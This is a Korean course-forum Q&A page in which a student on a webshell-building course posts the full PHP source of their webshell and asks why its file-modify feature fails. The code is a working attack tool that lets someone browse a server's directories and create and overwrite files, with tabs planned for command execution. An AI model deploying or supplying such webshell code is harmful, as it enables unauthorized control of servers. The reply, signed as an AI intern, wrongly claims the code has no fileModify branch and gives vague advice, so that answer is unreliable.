인프런 커뮤니티 질문&답변

godoks님의 프로필 이미지
godoks

작성한 질문수

Skill-Up! 배워서 바로 쓰는 웹쉘 제작

[실습-5] 파일 수정 기능 제작하기

파일내용 수정이 잘 안됩니다.

작성

·

283

0

파일내용 수정이 안되고 내용이 없는 파일은 textarea 부분이 나타나지 않습니다.

코드 작성본은 아래와 같습니다.

해결할 수 있도록 도움 부탁드리겠습니다.

 

<?

header("Content-Type: text/html; charset=UTF-8");

$mode = $_REQUEST["mode"];

$path = $_REQUEST["path"];

$page = basename($_SERVER["PHP_SELF"]);

$fileName = $_GET["fileName"];

if(empty($path)) {

$tempFileName = basename(__FILE__);

$tempPath = realpath(__FILE__);

$path = str_replace($tempFileName, "", $tempPath);

$path = str_replace("\\", "/", $path);

} else {

$path = realpath($path)."/";

$path = str_replace("\\", "/", $path);

}

# Mode Logic

if ($mode == "fileCreate") {

if(empty($fileName)) {

echo "<script>alert('파일명이 입력되지 않았습니다.');history.back(-1);</script>";

exit();

}

$fp = fopen($path.$fileName, "w");

fclose($fp);

echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";

} else if ($mode == "dirCreate") {

if(empty($fileName)) {

echo "<script>alert('파일명이 입력되지 않았습니다.');history.back(-1);</script>";

exit();

}

$dirPath = $path.$fileName;

if(is_dir($dirPath)) {

echo "<script>alert('해당 디렉터리명이 존재합니다.');history.back(-1);</script>";

exit();

}

mkdir($dirPath);

echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";

} else if ($mode == "fileModify" && !empty($_POST["fileContents"])) {

$filePath = $path.$fileName;

if(!file_exists($filePath)) {

echo "<script>alert('파일이 존재하지 않습니다..');history.back(-1);</script>";

exit();

}

$fileContents = $_POST["fileContents"];

$fp = fopen($filePath, "w");

fputs($fp, $fileContents, strlen($fileContents));

fclose($fp);

echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";

}

# Directory List Return Function

function getDirList($getPath) {

$listArr = array();

$handler = opendir($getPath);

while($file = readdir($handler)) {

if(is_dir($getPath.$file) == "1") {

$listArr[] = $file;

}

}

closedir($handler);

return $listArr;

}

# File List Return Function

function getFileList($getPath) {

$listArr = array();

$handler = opendir($getPath);

while($file = readdir($handler)) {

if(is_dir($getPath.$file) != "1") {

$listArr[] = $file;

}

}

closedir($handler);

return $listArr;

}

?>

<!DOCTYPE html>

<html lang="ko">

</html>

<head>

<title>godoks webshell test</title>

<!-- 합쳐지고 최소화된 최신 CSS -->

<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">

<!-- 부가적인 테마 -->

<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css">

<!-- 합쳐지고 최소화된 최신 자바스크립트 -->

<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script>

<script>

function fileCreate() {

var fileName = frm.createFileName.value;

if(!fileName) {

alert("파일명을 입력하시오");

return;

}

location.href = "<?=$page?>?mode=fileCreate&path=<?=$path?>&fileName=" +fileName;

}

function dirCreate() {

var fileName = frm.createFileName.value;

if(!fileName) {

alert("디렉터리명을 입력하시오");

return;

}

location.href = "<?=$page?>?mode=dirCreate&path=<?=$path?>&fileName=" +fileName;

}

function fileModify(fileName) {

location.href = "<?=$page?>?mode=fileModify&path=<?=$path?>&fileName=" +fileName;

}

</script>

</head>

<body>

<div class="container-fluid">

<div class="row">

<div class="col-md-3"></div>

<div class="col-md-6">

<h3>GODOKS_HACKing</small></h3>

<hr>

<ul class="nav nav-tabs">

<li role="presentation" <? if(empty($mode) || $mode == "fileBrowser") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li>

<li role="presentation" <? if($mode == "fileUpload") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileUploadr">File Upload</a></li>

<li role="presentation" <? if($mode == "command") echo "class=\"active\"";?>><a href="<?=$page?>?mode=command">Command Execution</a></li>

<li role="presentation" <? if($mode == "DB") echo "class=\"active\"";?>><a href="<?=$page?>?mode=DB">DB Connector</a></li>

<li role="presentation"><a href="<?=$page?>?mode=logout">Logout</a></li>

</ul>

<br>

<form action="<?=$page?>"?mode=fileBrowsr" method="GET">

<? if(empty($mode) || $mode == "fileBrowser") { ?>

<div class="input-group">

<span class="input-group-addon">Current Path</span>

<input type="text" class="form-control" placeholder="Path Input..." name="path" value="<?=$path?>">

<span class="input-group-btn">

<button class="btn btn-default" type="submit">Move</button>

</span>

</div>

</form>

<hr>

<div class="table-responsive">

<table class="table table-bordered table-hover" style="table-layout: fixed; word-break: break-all;">

<thead>

<tr calss="active">

<th style="width: 50%" class="text-center">Name</th>

<th style="width: 14%" class="text-center">Type</th>

<th style="width: 18%" class="text-center">Date</th>

<th style="width: 18%" class="text-center">Action</th>

</tr>

</thead>

<tbody>

<?

$dirList = getDirList($path);

for($i=0; $i<count($dirList); $i++) {

if($dirList[$i] !=".") {

$dirDate = date("Y-m-d H:i", filemtime($path.$dirList[$i]));

?>

<tr>

<td style="vertical-align: middle" class="text-primary"><b><span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span>&nbsp;&nbsp;<a href="<?=$page?>?mode=fileBrowser&path=<?=$path?><?=$dirList[$i]?>"><?=$dirList[$i]?></a></b></td>

<td style="vertical-align: middle" class="text-center"><kbd>Directory</kbd></td>

<td style="vertical-align: middle" class="text-center"><?=$dirDate?></td>

<td style="vertical-align: middle" class="text-center">

<? if($dirList[$i] !="..") {?>

<div class="btn-group btn-group-sm" role="group" aria-label="...">

<button type="button" class="btn btn-danger" title="Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button>

</div>

<? } ?>

</td>

</tr>

<?

}

}

?>

<?

$fileList = getFileList($path);

for($i=0; $i<count($fileList); $i++) {

$fileDate = date("Y-m-d H:i", filemtime($path.$fileList[$i]));

?>

<tr>

<td style="vertical-align: middle"><span class="glyphicon glyphicon-file" aria-hidden="true"></span> <?=$fileList[$i]?></td>

<td style="vertical-align: middle" class="text-center"><kbd>File</kbd></td>

<td style="vertical-align: middle" class="text-center"><?=$fileDate?></td>

<td style="vertical-align: middle" class="text-center">

<div class="btn-group btn-group-sm" role="group" aria-label="...">

<button type="button" class="btn btn-info" title="Download"><span class="glyphicon glyphicon-save" aria-hidden="true"></span></button>

<button type="button" class="btn btn-warning" title="Modify" onclick="fileModify('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-wrench" aria-hidden="true"></span></button>

<button type="button" class="btn btn-danger" title="Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button>

</div>

</td>

</tr>

<? } ?>

</tbody>

</table>

</div>

<hr>

<form name="frm">

<div class="input-group">

<input type="text" class="form-control" placeholder="File/Directory Name Input..." name="createFileName">

<span class="input-group-btn">

<button class="btn btn-default" type="button" onclick="fileCreate()">File Create</button>

<button class="btn btn-default" type="button" onclick="dirCreate()">Directory Create</button>

</span>

</div>

</form>

<? } else if($mode == "fileModify") { ?>

<?

if(empty($fileName)) {

echo "<script>alert('파일명이 존재하지 않습니다.');history.back(-1)</script>";

exit();

}

$filePath = $path.$fileName;

if(!file_exists($filePath)) {

echo "<script>alert('파일이 존재하지 않습니다.');history.back(-1)</script>";

exit();

}

$fp = fopen($filePath, "r");

$fileContents = fread($fp, filesize($filePath));

fclose($fp);

?>

<form action="<?=$page?>?mode=fileModify&path=<?=$path?>&fileName=<?=$fileName?>" method="POST">

<div class="input-group">

<input type="text" class="form-control" value="<?=$path?><?=$fileName?>">

<span class="input-group-btn">

<button class="btn btn-default" type="submit">File Modify</button>

</span>

</div>

<hr>

<textarea class="form-control" rows="20" name="fileContents"><?=htmlspecialchars($fileContents)?></textarea>

</form>

<br>

<p class="text-center"><button class="btn btn-default" type="button" onclick="history.back(-1);">Back</button></p>

<? } ?>

<hr>

<p class="text-muted text-center">Copyrightⓒ 2023, godoks, All rights reserved.</p>

</div>

<div class="col-md-3"></div>

</div>

</div>

</body>

</html>

답변 1

0

안녕하세요, 인프런 AI 인턴이에요.

코드를 보니 $mode 값이 “fileModify”인 경우를 찾을 수 없네요. 파일 내용 수정을 요청할 때 이를 구분해서 처리하는 부분이 필요해보입니다. 또한, 내용이 없는 파일의 경우 textarea가 보이지 않는다고 하셨는데, 이 부분은 HTML 코드 상에 textarea가 있는지 확인해보시는 것이 좋을 것 같습니다.

또한, 파일/디렉터리 생성 시에도 파일명이 입력되지 않을 경우 alert 창이 뜨도록 되어 있는데, 비어있는 파일명을 입력했을 때도 처리하도록 수정하면 더욱 안전할 것 같습니다.

해결되길 바랍니다. 감사해요.

godoks님의 프로필 이미지
godoks

작성한 질문수

질문하기